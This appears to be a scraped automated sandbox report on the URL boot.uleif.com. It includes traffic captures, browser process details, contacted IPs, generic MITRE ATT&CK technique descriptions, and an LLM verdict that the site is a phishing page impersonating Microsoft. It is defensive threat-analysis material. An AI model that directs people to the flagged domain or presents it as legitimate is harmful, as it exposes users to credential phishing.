2024-10-11 18:30:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	59072	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:20 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:20 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:20 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 1000688e-201e-0051-7e07-1c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183020Z-1597f696844c8tlv61bxv37s70000000028g00000000qe26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:20 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 2332, Parent PID: 2736

General

Target ID:	0
Start time:	14:28:56
Start date:	11/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 2668, Parent PID: 2332

General

Target ID:	2
Start time:	14:29:01
Start date:	11/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2020,i,7875350834692720134,8154431337683397247,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6420, Parent PID: 2736

General

Target ID:	3
Start time:	14:29:03
Start date:	11/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://boot.uleif.com"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://boot.uleif.com/	LLM: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'boot.uleif.com' does not match the legitimate domain for Microsoft., The domain 'uleif.com' does not have any known association with Microsoft., The presence of a subdomain 'boot' does not provide any legitimate context for Microsoft., The URL structure suggests a potential phishing attempt as it does not align with Microsoft's known domain. DOM: 0.0.pages.csv
Source: https://boot.uleif.com/	LLM: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'boot.uleif.com' does not match the legitimate domain for Microsoft., The domain 'uleif.com' does not have any known association with Microsoft., The presence of a subdomain 'boot' does not provide any legitimate context for Microsoft., The URL structure suggests a potential phishing attempt due to the mismatch with the known Microsoft domain. DOM: 0.1.pages.csv

Source: https://boot.uleif.com/	HTTP Parser: HTML title missing
Source: https://boot.uleif.com/	HTTP Parser: HTML title missing

Source: https://boot.uleif.com/	HTTP Parser: No favicon
Source: https://boot.uleif.com/	HTTP Parser: No favicon

Source: https://boot.uleif.com/	HTTP Parser: No <meta name="author".. found
Source: https://boot.uleif.com/	HTTP Parser: No <meta name="author".. found

Source: https://boot.uleif.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://boot.uleif.com/	HTTP Parser: No <meta name="copyright".. found

Source: global traffic	TCP traffic: 192.168.2.4:58990 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:61897 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:59262 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:57919 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56

Source: global traffic	DNS traffic detected: DNS query: boot.uleif.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://boot.uleif.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\sets.json

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 137

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Windows Analysis Report
http://boot.uleif.com